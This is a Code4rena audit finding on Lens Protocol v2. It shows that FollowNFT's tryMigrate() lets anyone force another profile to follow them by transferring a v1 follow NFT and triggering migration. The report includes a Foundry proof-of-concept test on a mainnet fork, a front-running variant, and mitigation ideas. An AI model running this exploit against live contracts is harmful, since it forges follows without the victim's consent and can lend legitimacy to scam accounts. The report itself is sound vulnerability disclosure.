Users can make any user follow them via `FollowNFT::tryMigrate()` without their consent

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-lens/blob/main/contracts/FollowNFT.sol#L35-L37 https://github.com/code-423n4/2023-07-lens/blob/main/contracts/FollowNFT.sol#L216-L218 https://github.com/code-423n4/2023-07-lens/blob/main/contracts/FollowNFT.sol#L386-L391 https://github.com/code-423n4/2023-07-lens/blob/main/contracts/FollowNFT.sol#L514 https://github.com/code-423n4/2023-07-lens/blob/main/contracts/FollowNFT.sol#L501-L504

Vulnerability details

Summary

Follows in Lens v2 can be checked via isFollowing(), which returns the internal storage variable _followTokenIdByFollowerProfileId[followerProfileId] and can't be manipulated by an unauthorized party via any of the follow/unfollow functions, as they have proper access control checks.

This is also prevented on token transfers in Lens v2. If user A wraps their follow token and transfer it to user B, it doesn't mean that user B is following user A.

But using the tryMigrate() it is possible to "force" someone to follow another user without their consent.

Impact

Users can make any other user follow them.

For a social network this could even be considered a high severity issue, as follow actions are a core component of them, and migrations were marked as an Area of specific concern by the devs.

Unauthorized follow actions not only harm the user, by performing a crutial action without their consent, but may also affect other users.

It could be used for example to make prestigious profiles follow scam accounts, unwillingly ligitimating them.

Extra note: An adversary can execute this attack at any time. They can prevent having their follow NFT being migrated by frontrunning the migrate tx, and moving their token to another wallet. The migration will run silently with no error, and the attack can be performed later.

Proof of Concept

Follows can be checked by the isFollowing() function, which is dependant on the _followTokenIdByFollowerProfileId[followerProfileId] mapping. _followTokenIdByFollowerProfileId is unset for Lens v1:

    // Introduced in v2
    mapping(uint256 => uint256) internal _followTokenIdByFollowerProfileId;

    function isFollowing(uint256 followerProfileId) external view override returns (bool) {
        return _followTokenIdByFollowerProfileId[followerProfileId] != 0;
    }

• FollowNFT.sol#L35-L37
• FollowNFT.sol#L216-L218

The expected way to update _followTokenIdByFollowerProfileId is via the _baseFollow() internal function, which can only be called via other external functions protected with access control, only authorizing the profile owner who will follow or a delegate:

    function _baseFollow(
        uint256 followerProfileId,
        uint256 followTokenId,
        bool isOriginalFollow
    ) internal {
        _followTokenIdByFollowerProfileId[followerProfileId] = followTokenId;

FollowNFT.sol#L386-L391

However the tryMigrate() function also updates _followDataByFollowTokenId to help with migrations from V1, and can be called by anyone (via the hub):

    function tryMigrate(
        uint256 followerProfileId,
        address followerProfileOwner,
        uint256 idOfProfileFollowed,
        uint256 followTokenId
    ) external onlyHub returns (uint48) {
        // ...

        _followDataByFollowTokenId[followTokenId].followerProfileId = uint160(followerProfileId);

FollowNFT.sol#L514

The only caveat is that the "ProfileNFT and FollowNFT should be in the same account":

    address followTokenOwner = ownerOf(followTokenId);

    // ProfileNFT and FollowNFT should be in the same account
    if (followerProfileOwner != followTokenOwner) {
        return 0; // Not holding both Profile & Follow NFTs together
    }

FollowNFT.sol#L501-L504

But this can bypassed by simply transfering a V1 follow NFT from anyone to the victim, who will end up following the adversary unwillingly after the execution of tryMigrate().

Also, as noted on the Impact section, an adversary could prevent that someone else tries to migrate their profile, by frontrunning the tx and moving their token to some other address. It will "fail" silently because of the return 0; // Not holding both Profile & Follow NFTs together on the previous code snippet.

Coded POC

Add this test to test/migrations/Migrations.t.sol and run TESTING_FORK=mainnet POLYGON_RPC_URL="https://polygon.llamarpc.com" forge test --mt "testFakeFollowMigration".

Note: In case of a memory allocation error during the Forge test, please comment these lines. They are not used for the current test.

    function testFakeFollowMigration() public onlyFork {
        // lensprotocol.lens will be the victim
        // juancito.lens will be the adversary
        // The adversary will make lensprotocol.lens follow them without their consent

        uint256 victimProfileId = 1;       // lensprotocol.lens
        uint256 adversaryProfileId = 3659; // juancito.lens

        uint256 followTokenId = 42;        // juancito.lens follows juancito.lens

        FollowNFT nft = FollowNFT(hub.getProfile(adversaryProfileId).followNFT);
        address adversary = nft.ownerOf(followTokenId); // Owner of juancito.lens

        // 1. Transfer the Lens v1 follow token to the victim
        // This does not automatically imply that they are following the adversary yet
        vm.startPrank(address(adversary));
        nft.transferFrom(address(adversary), hub.ownerOf(victimProfileId), followTokenId);
        assertFalse(nft.isFollowing(victimProfileId));

        // 2. Migrate the fake follow. Anyone can run this
        uint256[] memory victimProfileIdArray = new uint256[](1);
        uint256[] memory adversaryProfileIdArray = new uint256[](1);
        uint256[] memory followTokenIdArray = new uint256[](1);

        victimProfileIdArray[0] = victimProfileId;       // 1
        adversaryProfileIdArray[0] = adversaryProfileId; // 3659
        followTokenIdArray[0] = followTokenId;           // 42

        hub.batchMigrateFollows(victimProfileIdArray, adversaryProfileIdArray, followTokenIdArray);

        // 3. The victim is now following the adversary
        assertTrue(nft.isFollowing(victimProfileId));
    }

Tools Used

Manual Review

Recommended Mitigation Steps

The follow migration should be reworked to account for the case of "fake" follows. Some ideas are to allow the bulk process to be run by whitelisted accounts, or by the specific token owners. A combination of both may also work, by only migrating tokens that have been minted but not transfered, for example. Or letting users opt-in for an automatic migration to give some ideas.

Additionally log an event with the reason the migration was not executed for a specific profile.

Assessed type

Invalid Validation

[donosonaumczuk]

Duplicated from #112 and #106

[c4-sponsor]

vicnaum marked the issue as sponsor confirmed

[c4-judge]

Picodes marked the issue as duplicate of #112

[c4-judge]

Picodes marked the issue as selected for report

[c4-judge]

Picodes marked the issue as satisfactory